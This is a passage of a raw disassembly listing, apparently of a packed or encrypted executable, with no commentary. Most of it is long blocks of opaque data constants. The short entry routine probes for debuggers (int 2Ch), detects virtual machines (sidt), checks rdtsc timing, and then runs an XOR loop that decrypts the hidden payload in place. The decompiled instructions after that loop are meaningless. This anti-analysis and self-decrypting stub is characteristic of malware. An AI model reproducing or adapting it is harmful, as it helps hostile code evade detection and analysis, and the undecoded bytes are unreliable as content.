0E40009FDh, 0B7A137E6h, 10B96310h, 67E7376Ch, 14E113BDh dd 6E590FA0h, 0E1763CC8h, 17715B9Eh, 9274C9B5h, 3755FCF2h dd 0CF7923CDh, 8D5E0426h, 33299386h, 0C80656A0h, 2FD94319h dd 0CF33DB85h, 1188CF7Ch, 9A8988A2h, 36675AE9h, 0E791D343h dd 3E1D2A9Bh, 4A9B4005h, 2F6D346Ah, 47F19B45h, 8CD63B95h dd 9964BFDh, 630A20BCh, 0A751FB65h, 7E214FFDh, 0B01B392h dd 0DCDC6BAAh, 0C20C5B1Dh, 933A306Ch, 0B7640BF5h, 130D630Dh dd 0FEABA4F5h, 0B8FF9038h, 0D23C6B55h, 0B7A27B48h, 98F6A659h dd 1EC9B3E9h, 6B21CB75h, 0B360CB94h, 0B44A857Ch, 7FE9DCE3h dd 0D781A340h, 87441FCCh, 8731B50Eh, 0D9464B38h, 57917E2Ch dd 6A159665h, 499A1ABCh, 61FE56C5h, 0E9C7C00h, 2F6D347Ah dd 0DAA32645h, 9F49F25Fh, 4FB538F5h, 0AA5805DCh, 40A9EE35h dd 0A1E89641h, 0F916DECDh dd 36C49408h, 7136E24Ch, 86097326h, 0A399947Dh, 23CAE0FCh dd 6715BBA5h, 0CD9D13BDh, 0C181548Dh, 77711A25h, 1E752785h dd 86418065h, 0FC987254h, 0CF394FFEh, 27D17B2Dh, 0FCA9894Ah dd 0D74117BCh, 879A2F2Dh, 0C00AD36Eh, 13B490D7h, 1BA18B75h dd 0B6DED990h, 7E917BF1h, 0C55324CDh, 0D735CE12h, 2FE999EDh dd 1BCC184Fh, 81F3F3DDh, 6A0EA9ADh, 0F0DD4CAh, 0A751EBA5h dd 6FB01FFDh, 0BFA7111Eh, 16FF275Ah, 0D60B8355h, 1C920A9Dh dd 0B7A14437h, 23CAE0FCh, 6731BBA5h, 0C89E13BDh, 9CBBC385h dd 6F59AF46h, 48B9352Fh, 504EFEDDh, 37218BA1h, 0A37923CDh dd 3F15FB28h, 73127077h, 2E272B95h, 85FE8A6h, 9A8CDB45h dd 1FBD045Ah, 37E18B35h, 1F4250CDh, 163915h, 0A5E9D349h dd 8B326844h, 0EF19432Dh, 3E069B45h, 24533BEDh, 0F761771Fh dd 3116FAE7h, 0FA390C3Dh, 0BF9D647Ah, 5702AB55h, 0FF5BAFADh dd 0DD1661EEh, 1F097329h, 5C5B0A91h, 0FF98F27h, 0EF7762C3h dd 4420E33Eh, 17015706h, 6F19C16Dh, 7FC519D2h, 53F3D017h dd 0E07CB35h, 0E81BC846h, 33597BE5h, 0E629D399h, 0CB72A804h dd 2FE183EDh, 23C5DB85h, 13BAB0ECh, 3BE18B75h, 968EE38Dh dd 6C8BD375h, 3F299F58h, 4A7E92FFh, 2F6D346Ah, 47E99B45h dd 815A009Dh, 0ED01CAADh, 0F0DBAEAh, 0B6ECD5A5h, 14D4E93Dh dd 5FDA23F3h, 834460A7h, 2BF15BC5h, 86AEA960h, 19614BE1h dd 203E4EA8h, 6711FB71h, 0E16913ADh, 4B81EC8Dh, 77DD4370h dd 9B4C78CFh, 0C6AF735Dh, 92A6757Ch, 7679E3F9h, 3BE2F874h dd 7F29D33Dh, 0D035EBD5h, 0B4DB539Dh, 87F1A76Eh, 100E3E37h dd 37E1CB61h, 1F39E3ADh, 0EB938863h, 0F9380839h, 8B1A481Fh dd 7C22432Dh, 473174CFh, 1BC94ABBh, 0A7A838F2h, 0AAC8234Dh dd 2CA8A165h, 0FF695F0Eh, 57016B55h, 80FF6B4Bh, 0E0055992h dd 77B90AFBh, 0EB7C88BFh, 0EF79634Dh, 0DFA16168h, 0B35A908Ch dd 97C16B55h, 6D2EC36Dh, 2CEB9515h, 1F893FF6h, 0E3A17253h dd 5F8010CAh, 7290FB25h, 460693Dh, 0D74117C6h, 2FDA832Dh dd 4781E212h, 13B2B0D7h, 0E7B8B75h, 0ED13D84h, 3641A5h dd 61E9D349h, 0ED425B00h, 0C36AC09Ch, 47F19B85h, 0CA3EF39Fh dd 2BD2C864h, 4FF9A30Dh, 8D26FBA1h, 84B3938Dh, 57C19740h dd 83296027h, 27F25BC5h, 0C1C14D4Dh, 0B711B236h, 4F495BE8h dd 7B2C386Fh, 72D313FDh, 57B55C92h, 7719C36Dh, 0E96128C5h dd 2531F265h, 3755F112h, 5F24FDCDh, 0B7C9E226h, 65AEC935h dd 2D81EBC1h, 3AA005Ch, 8731DB45h, 543A33CDh, 0DF47A8A2h dd 3443CB10h, 0E7D1470Fh, 0FFDC2A9Bh, 0DAED4FFh, 829983D6h dd 87C56CC2h, 0BF49F39Dh, 0A8B038F5h, 31F4FA3Ch, 9D39043Dh dd 0BF9D699Ah, 5625EB55h, 834360A7h, 5E575BC5h, 9893F836h dd 78DB0BF5h, 28430087h, 0FE77BBA5h, 446B3B4Dh, 170157FEh dd 409E6EC7h, 0C6715B91h, 2ACA731Dh, 772146F1h, 0B360CBCDh dd 0A44C95B0h, 7FE9DF8Eh, 0D7815C56h, 70F0812Dh, 8631DB85h dd 4241306Ah, 0CEFF0691h, 8F39E335h, 3C2C95E5h, 0C661ED3Bh dd 0FF9C0532h, 0F1285E09h, 69B16AB0h, 0D0CE7EF8h, 0F7A10B21h dd 24FAA34Dh, 0B8D64665h, 0FFA91309h, 0BF9AB55h, 3CB19D8Bh dd 0D83666A9h, 5F097329h, 0B2630BB5h, 0F0C3249Ah, 209562C3h dd 378F0B0Ah, 6EE767F1h, 7769D208h, 0E96FC22Fh, 1DA69B65h dd 3755F2F2h, 3624FDCDh, 0BD0A0B28h, 731A50CCh, 0D7812B95h dd 0F6D032Dh, 0C0BD6D5h, 0DFC9FFB6h, 34EB6BF6h, 8F5DDB06h dd 0FBAAD8E7h, 0E3A9937Dh, 9B056B98h, 55BAB348h, 0E780F363h dd 0D3725097h, 8E874BB5h, 630A20BCh, 0A771FB65h, 0CE5D53FDh dd 4BF22884h, 0AF59036Dh, 4453B05h, 5F0CEE6Ch, 0BCD50BB5h dd 0F663F3BDh, 0DED84238h, 0FF629132h, 90825215h, 0A76967AEh dd 9B4A98CFh, 9273735Dh, 3755FCF2h, 8F7923CDh, 9CD4725h dd 856C8305h, 97751452h, 0D1E39A2Dh, 7D51EEDDh, 1FBD0C3Ah dd 2A7CE535h, 0CF4D140Ah, 0E7913AE5h, 0F21CDF3Eh, 0D735DC12h dd 0EF9943EDh, 0DAEEA725h, 9F49F25Ch, 0A7A637F5h, 9E6439DDh dd 2CCC3E30h, 0FF695C67h, 0F7AF340h, 0C2A2F2D1h, 0C7852C82h dd 0DF09B35Dh, 345F78B5h, 4FCD7C8Ah, 0A7094165h, 0EE6CDC3Dh dd 0D4C5F0CDh, 6F099FA9h, 1769BB86h, 212CCA98h, 0B7528353h dd 675FBAABh, 0AFA9FBACh, 7D29D37Dh, 9FDCC5F6h, 0C4220088h dd 58797583h, 8F34CD1Dh, 0BC5E31F8h, 8F790FB1h, 0FBA2B8B4h dd 3FE9937Dh, 9976FB95h, 27311A3Ch, 766C94F0h, 0C6C1CA75h dd 951ED245h, 50F96376h, 675A7912h, 86A254FDh, 0D0058711h dd 6F499812h, 89FEE205h, 86097326h, 0F78A8932h, 203E4E0Dh dd 0A711FB71h, 0F36913BDh, 6E891617h, 0A119BF2Fh, 21BE9AF4h dd 1FC9B3E6h, 786A477Ch, 0DCE123CDh, 0DED17B25h, 44F7813Ah dd 0B1731A99h, 2FA537E9h, 5CA9489Ch, 6412339Dh, 3721C4EBh dd 0AB715AE0h, 3660F3E8h, 332C0A55h, 42F79F3Dh, 510EBA94h dd 6EF1DB1Eh, 285531A0h, 0B7CA8972h, 57BBA24Dh, 0B097782Eh dd 0AE3453BDh, 0D774DE3Dh, 0D75903ADh, 12C06532h, 98AFF8D8h dd 8FB70BF5h, 0EA984DC6h, 70B728F0h, 5F413FDh, 13FB6A1Dh dd 189C7548h, 0E7E91EC2h, 2AC9731Eh, 7722A1F1h, 750E22CDh dd 26D13B3Eh, 3F22A10Ah, 0EF6D8FD5h, 2F3B0024h, 49AEDB85h dd 4D0E0AD9h, 36E1CB6Eh, 1121338Bh, 66600EB3h, 7FE22DC2h dd 8E76EB95h, 0FAA57ED8h, 47F292C8h, 0D8558A9Dh, 0B7CAE582h dd 5C7E964Dh, 0A651FBA6h, 0BFA2217Ah, 3F824555h, 3468E0D4h dd 7B15B19h, 860B73D8h, 8FB137F8h, 0EA984D46h, 70B7507Eh dd 447813FDh, 17C16BB1h, 48834070h, 4C741B05h, 1F893C2Fh dd 3A3CCB00h, 1CFB16C1h, 2ED17B25h, 0FE38CB3Ch, 0D7812B11h dd 2EDBC3B0h, 0C34C744h, 0DFC9FC6Fh, 0ECD0DB87h, 8F790C33h dd 0FCC9A8BCh, 0C443937Dh, 0AC6EE55h, 989943EDh, 47F19BB9h dd 24587661h, 0F7A14B81h, 5AEEC5CDh, 0A7518222h, 6FCAFDh dd 27F56A40h, 0CA6E4BC5h, 69FE341Ch, 0D4097326h, 4DE60A24h dd 0EB9A336h, 0A71A09E2h, 85EE8CBDh, 8EC1AB0Eh, 2D9EAA6Dh dd 0D5715B9Eh, 614E3A15h, 65218BAEh, 0CF7948A6h, 3AA34B25h dd 7F29B6D5h, 33FB0D5h, 2DC4C4A8h, 4E219988h, 1FC2695Ah dd 0B6DDF835h, 0A018F349h, 0D3B5776Ch, 0FE046A9Eh, 80D3681Ch dd 76B9432Dh, 87BAA992h, 113F8B9Dh, 9082BE6Ch, 0CFF9A34Dh dd 6A6CFD72h, 0F6B221F1h, 0D500B314h, 0CA782691h, 55365ECEh dd 0E608B663h, 5AE227E9h, 0FB97F3Eh, 0B2E08E3Ch, 5EA1798h dd 17C18BF1h, 2FECF50Dh, 4A551F50h, 0DF02C59Ah, 0ACCA5075h dd 0CE7923E9h, 0E7DA49A2h, 0E48EAD7Dh, 0D6C7129Bh, 0EDC48FEFh dd 8EF71589h, 2D0A6EF5h, 3CE18B35h, 1839E38Dh, 11C00F23h dd 895E0800h, 0E9412B8Dh, 0C4B5D094h, 0CF749B85h, 56CDE624h dd 70A14BF5h, 0F1271CAh, 5951E1A5h, 0F41DC044h, 9786AB15h dd 0AFBD7FA4h, 478C5B05h, 5E73630Dh, 0F627105h, 0CFB9630Dh dd 93868E93h, 3E6953CAh, 9BC01ECDh, 6F19C053h, 90A7984Eh dd 0AC56735Dh, 77E1044Fh, 0E85BB042h, 0D5827BE5h, 0BAF9D357h dd 9776A762h, 4AF1022Dh, 8C2D578Ch, 0DFF333DDh, 6037382Ch dd 418E3CDh, 0E7D14865h, 4AA85BC0h, 97459811h, 151EBCEDh dd 16F1DB1Eh, 708CF256h, 0FB7B1CC5h, 18E061Eh, 0F251BBBEh dd 0BF9E336Ah, 52412855h dd 0AF5D5429h, 80EA2A05h, 9F4245DAh, 8B25CB5h, 1AB96665h dd 0DCE0EB65h, 0BFA9205Dh, 9BC02B92h, 6F19BFE7h, 9083984Eh dd 0D70C735Dh, 7721B4BAh, 2291DA48h, 0E7E58CA2h, 7F29D37Dh dd 0D687D8E5h, 0EFC918AAh, 8663AA85h, 0D27A3E1Eh, 9D661416h dd 273923B6h, 0E7915700h, 3EE5CAB8h, 0D7511012h, 0EE4B32EDh dd 0DA822606h, 91CE6C3Eh, 36A10B2Eh, 51C44E44h, 24665AFEh dd 72B83BB0h, 0A704B718h, 979A9A66h, 0CD328B08h, 0C9723E04h dd 366E77AEh, 5DBA5777h, 734C4245h, 0BE7D5138h, 5B3E7B57h dd 28B066A5h, 4C3CDCA8h, 1F893C37h, 9BF552B8h, 5AB952DDh dd 27D113A7h, 0CAB4127Dh, 44FE3200h, 2F996BE3h, 56606299h dd 40C58716h, 9D0D85A7h, 0AF65E1FCh, 3BBD4F8Fh, 73D79711h dd 0CC41DF6Ah, 7662E285h, 6F367046h, 0A63DF3DAh, 0C5641A2Ah dd 5E7E964Dh, 1EA04EFCh, 0C8805800h, 0DB006A1Bh, 0CA78268Bh dd 0BC7406DAh, 768DA613h, 0E450FEACh, 1DCCA25Ch, 3201376Ch dd 0F66D684h, 1200B768h, 0AB8C0E9h, 5F1CEA5Ch, 9A48F5F2h dd 0E189477Ch, 0FD8C8634h, 27D1658Dh, 0BAD82B7Dh, 0D7995E0Ch dd 0ECD9832Dh, 62AB0006h, 1C72339Dh, 9BE18B38h, 24C41174h dd 0E7D15437h, 61CB0C99h, 0DD7EDD16h, 0EE7FC0E4h, 716C9B45h dd 81A7F261h, 0BC718276h, 4EEF2044h, 66A8FBA5h, 0FF8953EBh dd 5086AE55h, 0C15903B0h, 7EB30FC8h, 0E3189313h, 0B76109A9h dd 0E83A57F0h, 6711BC66h, 0BD178DB4h, 0D4596B15h, 7AB86613h dd 0C773BA47h, 2F93EA1Dh, 1F1D9178h, 0CF7A23CDh, 7D2FE3D6h dd 141916C4h, 0D74117BCh, 84A9639Eh, 87F1A755h, 0A8871377h dd 0FF5038Dh, 6A18B959h, 5B90E962h, 308B42FFh, 0D735DC22h dd 173EDAEDh, 47F19B43h, 9F4F0BC6h, 4F694BF5h, 0AA58F9F9h dd 0BB6A782Fh, 832F53BDh, 17F5943Fh, 98DE7BADh, 25B11BD1h dd 908EBE7Dh, 0AF614BE1h, 64B9630Dh, 7E9E3B6Eh, 0C06953C9h dd 9C782841h, 6F59AF5Eh, 0C8711BC8h, 0DC495A29h, 77E1F79Eh dd 4F090FCAh, 0E7E5A1BAh, 0E2DDD07Dh, 0CB5CA055h, 0C3DE83EDh dd 58B6E6FBh, 0DF89F3A9h, 0AB618B35h, 0B8D66386h, 0E5917BF1h dd 0A46C0C8Ch, 9781E4FBh, 8328DBEDh, 7892EDCh, 7C87622h dd 0F7A14912h, 68CF28C8h, 0D1A9FB65h, 0AE89641h, 5703B2D1h dd 3DAE7AADh, 7EB11BDEh, 390C7703h, 0A24EDE9Dh, 0E43B56F4h dd 0E811BB66h, 0BF892FF7h, 0C13C0B15h, 851C0DBFh, 0B77B1AB1h dd 53FAF0ACh, 7721CB35h, 0D94E33CDh, 3BDD08AAh, 0CB4D33Dh dd 0D7413B7Ah, 8890DF60h, 8731E48Ch, 0EF898052h, 0DCD48B75h dd 8D1CE33Eh, 6C68D7B8h, 3F299F4Eh, 0A741EB95h, 0EF01BFE4h dd 56809B45h, 10388B75h, 8C1CBE6Ch, 4FB9CCEBh, 2B502922h dd 0FFA9536Fh, 40B318E0h, 75E4036Dh, 0EB6BDCF5h, 3F09B3FDh dd 265951E0h, 0E82920Fh, 0E41CA7B7h, 0BFA90312h, 27DEF0A0h dd 0A12BC3ADh, 4655EF50h, 0DFD9887Ah, 1AA4CB75h, 0CF7923A2h dd 1F9B0225h, 7E31897Eh, 4EB8A604h, 0EFB2FDAAh, 58B6E685h dd 1F89F3A9h, 0ABE18B35h, 8E31CE8Fh, 0F7AA3F37h, 385720B6h dd 0C6BCEBD5h, 826944C5h, 87C56CC2h, 9F49339Dh, 6AA337F5h dd 0E3617455h, 50A04EF9h, 0AEAC4758h, 53B3923Dh, 136CCD7Eh dd 5C2E14BCh, 5F497F21h, 1B0A7A8h, 9C2B9404h, 671269E4h dd 0AAFE19BDh, 4CC1AB01h, 87CBDC6Bh, 3F63E7F3h, 6B31F64Dh dd 3D903ECCh, 0CE85D948h, 0AC286BEFh, 7FE9DF8Eh, 0E7812BD5h dd 0C4DF44A2h, 0E1AE6478h, 0DE89F3A6h, 77F1F0B2h, 0FCE0628Dh dd 0E7913BE5h, 0FAD1D258h, 0D72A1D02h, 1D20BCEDh, 0C2F19B45h dd 24C0D3DBh, 0F7617726h, 0CFF9A34Dh, 0FF03F671h, 3AE89C1Ch dd 0B17E322Fh, 0CE59C396h, 0DF6CE408h, 0E61969D8h, 0F78A7532h dd 17038C0Dh, 9D8ABAB8h, 0CFAB14B5h, 17098A98h, 483340E8h dd 93891B05h, 20C973F9h, 78EAD337h, 4403F390h, 2791874Ch dd 731A50CCh, 0D7812B95h, 316D932Dh, 77CE6088h, 0DF3F339Dh dd 6B120824h, 8F39E3CDh, 0DBE63BE7h, 0C4A04D03h, 9781D786h dd 0EF9D43EDh, 9C6B9552h, 9F09BF6Dh, 2BD2C864h, 0FF9A30Dh dd 9E26FBA5h, 3DAB4E77h, 7557A9BFh, 35621ADCh, 5DF32904h dd 52EBDD5Fh, 2EC5D9E8h, 0D48BF2Fh, 999E3A9Dh, 0BF6953C6h dd 0BE39E71Ch, 0C4B86614h, 0C7B1F4D7h, 540DE0A4h, 2C90CB35h dd 0CF394CA3h, 3CDDE87Ch, 0CB6D33Dh, 0D74124AFh, 87B10A2h dd 35E2DB45h, 94883377h, 3721C483h, 0A4D17074h, 7C603B25h dd 3F299C6Bh, 8C2D784Ch, 4426432Dh, 4731738Bh, 0D81B4024h dd 62774BB5h, 0F0E4FDAh, 59F67AA5h, 0FFA91306h, 5701D398h dd 551603ADh, 0C0CEDC06h, 0B7097330h, 3C220EA5h, 0FF9708Dh dd 0E6D47BE2h, 0CA19D675h, 2C41E8D6h, 4CDCC3ADh, 0C74B1BB5h dd 0A0AF572Ah, 531DE769h, 0AF6C10BEh, 7220B78Dh, 0A72EA0C4h dd 2B0628Bh, 4AF8D145h, 920F7C9Ch, 13DFBBB2h, 37064347h dd 7799E38Dh, 0B2600E82h, 83749C8Ah, 0CBEDB71h, 0EFD92B23h dd 69E9CBD0h, 9D4FB91Eh, 0CF7768E8h, 4F58A34Dh, 0A72B3730h dd 94E803AFh, 57C1988Dh, 30613F30h, 0D2800FDBh, 0DE0C4001h dd 0CE390773h, 0F79846F8h, 32E08EBCh, 0F3E1D21Eh, 0AEC16B15h dd 6F082BDEh, 0B7091BC5h, 5DC9731Dh, 0A7C9CB95h, 377923CDh dd 27D17B28h, 0C29EFBFh, 147D07A1h, 2FF10203h, 9FD1D419h dd 0DF8933DDh, 6705D7C0h, 10335AD2h, 27A52ACAh, 0E4E26B3Dh dd 55629E4Ch, 0EE9B43E9h, 48F69544h, 718E9F2Ah, 0C2D894B9h dd 0FD69F521h, 61h, 1644h dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near cld call loc_41202E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412006 proc near ; CODE XREF: seg002:0041207Dp push ebx mov ecx, 0DA5h mov ebx, edx loc_41200E: ; CODE XREF: sub_412006+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_41200E pop ebx retn sub_412006 endp ; --------------------------------------------------------------------------- db 0DCh, 0B1h ; --------------------------------------------------------------------------- loc_41201F: ; CODE XREF: seg002:00412068j pop ebp retn ; --------------------------------------------------------------------------- loc_412021: ; CODE XREF: seg002:00412036j ; seg002:00412047j push ebp mov eax, 8000h xor ecx, ecx jmp short loc_412055 ; =============== S U B R O U T I N E ======================================= sub_41202B proc near ; CODE XREF: seg002:0041204Ap ; seg002:00412050p rdtsc retn sub_41202B endp ; --------------------------------------------------------------------------- loc_41202E: ; CODE XREF: start+1p test eax, eax jnz short loc_41203A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short loc_412021 jmp short loc_412049 ; --------------------------------------------------------------------------- loc_41203A: ; CODE XREF: seg002:00412030j push eax sidt fword ptr [esp-2] pop eax mov eax, [eax+6] shl eax, 10h jns short loc_412021 loc_412049: ; CODE XREF: seg002:00412038j push ebp call sub_41202B xchg eax, ecx call sub_41202B loc_412055: ; CODE XREF: seg002:00412029j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 8FA6h sub eax, 100h jnb short loc_41201F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_412006 aaa mov cl, 6 ror byte ptr [esi+37h], cl call far ptr 0E055h:573CF8FFh ; CODE XREF: seg002:004120A4j fisttp dword ptr ds:0CC9C4E75h inc edi dec ecx jbe short loc_4120DB push esp xor bh, ch ; CODE XREF: seg002:loc_4120DBj adc [edx-2], ebp scasb in eax, 3Bh push ebx pop eax jno short near ptr loc_412088+6 retn 0C025h ; --------------------------------------------------------------------------- db 92h, 0EDh, 4Eh dd 3AF74938h, 54FE2708h, 81515735h, 9196B6A5h, 5DC509BCh dd 0A6462222h, 6FCC4F67h, 0B7AE73DDh, 369185DEh, 0C5BE10A2h dd 0D34A2959h db 0D8h, 3Dh, 0Ch ; --------------------------------------------------------------------------- loc_4120DB: ; CODE XREF: seg002:00412097j loop near ptr loc_41209A+1 stc inc dword ptr [eax+eax] sub eax, 0A89F8A5Bh ; --------------------------------------------------------------------------- dw 0E3C4h dd 0E947681Ah, 21070AA5h, 6745601h, 0C3E0F912h, 23389F9Fh dd 0BA7D4C48h, 3F2CDFEh, 0A825083Dh, 0C3A0128h, 17714EB4h dd 0A5CEFE1Bh, 5C30C381h, 0A1A26B7Ch, 2B14F8F2h, 0AF9792Ah dd 41593D31h, 0DACA4676h, 3B0D4D0h, 0FCBA6DA2h, 0F234100Eh dd 1B8CE881h, 7D620B3Ch, 48951C96h, 7C802727h, 67A1A0CDh dd 89BAC043h, 83ADE1C4h, 4BBFADCh, 0C8C8ECDDh, 3F2BFFBDh dd 33E50839h, 78594F23h, 65B5A924h, 578E82A7h, 1BA1CD89h dd 31AAFEE5h, 0A3EB478h, 1C9AE9EAh, 1A4646C5h, 0AD940406h dd 0D09093F9h, 0D2CD0D3Ch, 72CB18A1h, 0FB28B0C2h, 0F92ECBFAh dd 0A054C6Ah, 3D41E10Dh, 26606146h, 9E4BFD02h, 806CA0A3h dd 4AF501F5h, 5C88AC7Eh, 80027DB3h, 1067CB86h, 0E324654h dd 0BF5E666Bh, 76257140h, 0DADAFE9Eh, 4FFD738Ch, 4EF62A36h dd 1E00A767h, 70123636h, 65A0714Eh, 0ECA55261h, 91B3CA66h dd 1FA4EC6Dh, 20D6CAEBh, 0B75751Ch, 3757E517h, 766C2746h dd 0EC64CEB9h, 0FFC500F3h, 3030E1DBh, 51C28DCh, 0C12E096h dd 0FDCEB106h, 396087EEh, 247BED14h, 0D07C908Ah, 218F0EEBh dd 6D6038B2h, 97B14A4Bh, 0E3B5B2D9h, 99426267h, 0A6CFF39Dh dd 0D4C87E83h, 47EB3F3Ah, 8BFD925Eh, 0B4072B2Eh, 6CFDE9BAh dd 90234348h, 845914D6h, 463E0933h, 0A5CCF19Ah, 0D3CF8180h dd 0D7E83C25h, 4D779A91h, 0F0E5BDD6h, 6C7AB687h, 1E204445h dd 85AED079h, 0F065600Bh, 5EC387E5h, 1F7B12E8h, 7F14E20Bh dd 66762A1Bh, 0D7012516h, 668D3E30h, 0F41BA942h, 0D6E5CFD0h dd 1075111Ah, 0B2DB7F13h, 99D9784Ah, 0B9D211B6h, 0FAFD5DA6h dd 0D4CE0E5Ah, 8A1FBD01h, 0F01A3CFAh, 5201714Fh, 3365A6Ah dd 9AC1BE6Ch, 55D4FE76h, 4ADF3328h, 0C6E290E1h, 0D0CB3426h dd 75B0102Dh, 13E83B0Ah, 0FDAAC9C8h, 833556Ch, 0BA51616Fh dd 54B17242h, 37598F01h, 0BE6ABEA6h, 0FCD39AA6h, 5A7955A8h dd 0F3933736h, 0FDA2C6C6h, 341CD5D7h, 93CD1EE0h, 0BC6EAE1h dd 1359FCCCh, 3C56A107h, 0C9F4E7E7h, 567E21AAh, 689B3433h dd 73AEEE44h, 70D349ACh, 153C52DCh, 9C475B40h, 9BFF6244h dd 399D7987h, 1D771B15h, 0BC7EA2A3h, 0E20C31D6h, 5C650333h dd 31A34C7Ch, 5540DAB0h, 99401897h, 0E8BBF617h, 5C087A87h dd 4EF57B12h, 616E082Ah, 0DF15942Dh, 691ABBBBh, 4DAB704h dd 418B128h, 17412861h, 0EA8F2F3h, 9858C70Ch, 0A646EA3Dh dd 0C5837E37h, 0B40640FEh, 6A94D8ECh, 0F8488ACDh, 86DA105Fh dd 143E620Ah, 0F38B85F8h, 6057172Ch, 916E9EF3h, 0C82D99A9h dd 8D6B67E3h, 0EC91B5D5h, 7E1F2997h, 0E9A9BB1Dh, 4339355Fh dd 0CBA0EC87h, 47567A1Bh, 458E5909h, 0C5E769C6h, 89001408h dd 6B7137EBh, 0F21D7DC4h, 801F43CEh, 0B7386C4Ch, 9CC5E1FFh dd 8FA098F3h, 0A7E1E887h, 0C0E293A3h, 0D2CD3527h, 0F5064F51h dd 0EE29246Eh, 3D323498h, 0E2356974h, 98C2E6F0h, 4D3F1B38h dd 0C18E7277h, 2D05E6E6h, 989F7978h, 39FDC0CBh, 15463A79h dd 488F1153h, 0DBB7DF54h, 0C4BFD3C9h, 486D1B24h, 254F0101h dd 0BB68BCA0h, 0F48345DAh, 0F86C231h, 8DC6BD63h, 644896C2h dd 502E5251h, 0F3DE9BBAh, 6D190A18h, 0C1BF8C92h, 3B01EFECh dd 1567E941h, 0DD80948Fh, 0B25864F6h, 8DCB9690h, 300637DBh dd 9E7358DCh, 0D1D0963Dh, 0C0D2C6D3h, 0C762EE86h, 0F5C21781h dd 525419A1h, 0CA9D2E2Fh, 4B94355Ch, 68D91D1Fh, 8B84F488h dd 0BCC19054h, 0A7FFDF18h, 0CA0AD583h, 0F2C75A84h, 24B9189Eh dd 20846D70h, 937BCBBEh, 902B633Ch, 779BBFD6h, 26132EF1h dd 0D00C75F2h, 0C7B2ED5Ch, 8CE80C0Ah, 7D950B52h, 0F7E9AD10h dd 41E7B687h, 0E7C085C4h, 0D1FED2D3h, 436D3631h, 3436BEBFh dd 2F675080h, 0C8BCC98Eh, 6E076897h, 3584AA2Eh, 8E8F8398h dd 0BE2BC2Eh, 4F3E3083h, 0FB396D75h, 0B6026B74h, 7B54787Bh dd 922F93F7h, 0D28F94A5h, 0D4CE09EEh, 9D765E59h, 0F01A3EC1h dd 4DF2CCCCh, 5D670B93h, 9AC28FB9h, 0ECDA7572h, 0B9B55355h dd 803F551Ah, 848D7A49h, 0A16945ACh, 799AC4C5h, 7A95DC84h dd 58620604h, 0BD11711Bh, 0E0CD7242h, 4E57C320h, 3F32D6D5h dd 0CCF83C4Fh, 5A86BA0Ah, 0E8143837h, 76A2C6C4h, 4305452h dd 6DEEB7B1h, 1060B6FBh, 28157FCh, 0C7134A0Eh, 9537F6FAh dd 32F1C7E7h, 807D557Dh, 19FC8DA5h, 7258332Ah, 0ECDC8E81h dd 6F2E3D1Fh, 0C7D48D8Dh, 5A10F2F4h, 0AAF06074h, 380CD6D1h dd 0A10C5E55h, 4FBDBCCh, 92410A29h, 0CFB69BBFh, 6E250D1Ah dd 0C4B8B393h, 463ECEE1h, 0A4837862h, 23389FDEh, 0BA7D4C48h dd 0EF8C9EBh, 0BA563A2Ch, 0ECC194D7h, 45241104h, 0D1A19F96h dd 4134D4E4h, 0C08E6F6Ah, 2F1DEEDFh, 0B4524F5Eh, 0EF5DDCAh dd 9D500546h, 0D2D5A0B5h, 7C520D0Dh, 91BB8395h, 51372E4Ch dd 0D28F787Ch, 333099EDh, 0B157534Eh, 3F0D0C7h, 817A0443h dd 0E6C1B897h, 634F2B1Eh, 0EBBD8E84h, 2D17091Eh, 0FC906D4Eh dd 1B17FAFFh, 0D6655E4Dh, 22FAD7F5h, 0A6792C29h, 80CFA3A7h dd 434C391Bh, 0F0B08D85h, 463A311Dh, 0DA804B63h, 26FD2F6h dd 0BDB05544h, 5E7DACAh, 8A775C74h, 7CE6AEA6h, 59413C1Fh dd 0FDB6959Fh, 54393019h, 0DCAA6167h, 412DE9FDh, 9A8E7B5Ah dd 1AF8C1CFh, 0A4735651h, 39C1A5A7h, 72571154h, 0E4D286B6h dd 4A391020h, 0D59DFEBFh, 4C0DDAF8h, 0A5997369h, 2DE1EFA7h dd 94605363h, 30CEABAAh, 442E1329h, 0FEEDABBAh, 7A241801h dd 0C2B094B2h, 4F05E5FBh, 899C797Eh, 22E5E3A4h, 80605B65h dd 36EFB7AFh, 634F3C27h, 0F7C5B4A8h, 73292E6Ah, 0EBBE979Ah dd 5B0FE8EAh, 0A4815E14h, 3115ECC5h, 98784F5Dh, 0ED5BCFCh dd 984F1C3Bh, 0CDD297AEh, 19270A0Eh, 0C9AA83BAh, 5031E8C5h dd 0B29B6E5Ch, 111EF3F7h, 0BB77642Ch, 3E7E9D4h, 8950222Bh dd 0E7C385D6h, 654C0607h, 0CD8AC2C1h, 322E0DF2h, 0DC877E5Eh dd 7E05E9FEh, 0A361661Bh, 0CC0B6C3h, 9E662024h, 0D6AEB7BFh dd 7A7A1404h, 0D5888883h, 4D3E0909h, 0CF807D7Eh, 2F2097D9h dd 0B4686352h, 0FE0E3D1h, 8678352Ch, 0F6CE9CD0h, 75553418h dd 0FBAB83B8h, 49382B7Ah, 0ECE2766Dh, 3711F9FBh, 0A39B4B75h dd 0BCAD6FFh, 0A61A5B52h, 0BDCBEA5h, 6077363Bh, 9AA08884h dd 5C380721h, 0D9B64561h, 372391F4h, 0A5917B5Eh, 2CD9D9DFh dd 807E4D53h, 9C0AEADh, 6D583802h, 0E28EE48Ah, 452B0031h dd 0D89A6574h, 716AEBE1h, 0A98A5F6Fh, 0AE3DEC9h, 8D775744h dd 38A2B5B7h, 61421726h, 0C2D89581h, 4528001Ch, 0D69D8F8Fh dd 7F12C48Ah, 0BD957D6Ah, 34E7F5C0h, 8B7F5D47h, 3EEA8CC1h dd 687A202Eh, 0E9F6AAB8h, 69240E38h, 0ABBA9790h, 492DF2C9h dd 0AFB67A70h, 1A7EC7CEh, 877C7F44h, 1FE8EED0h, 8D5B292Fh dd 0E9DDB58Eh, 6E0A6806h, 0C6B485B9h, 423CE6D7h, 0C3837E7Bh dd 232BEBD1h, 0BC6C5942h, 1FFEEDCFh, 97443C3Dh, 0E6DEB29Ah dd 59411C17h, 0C0BBA387h, 4A0FF9F3h, 0AD8F7A7Ch, 211EF2D5h dd 0A8674758h, 6AFAD7D1h, 8A753208h, 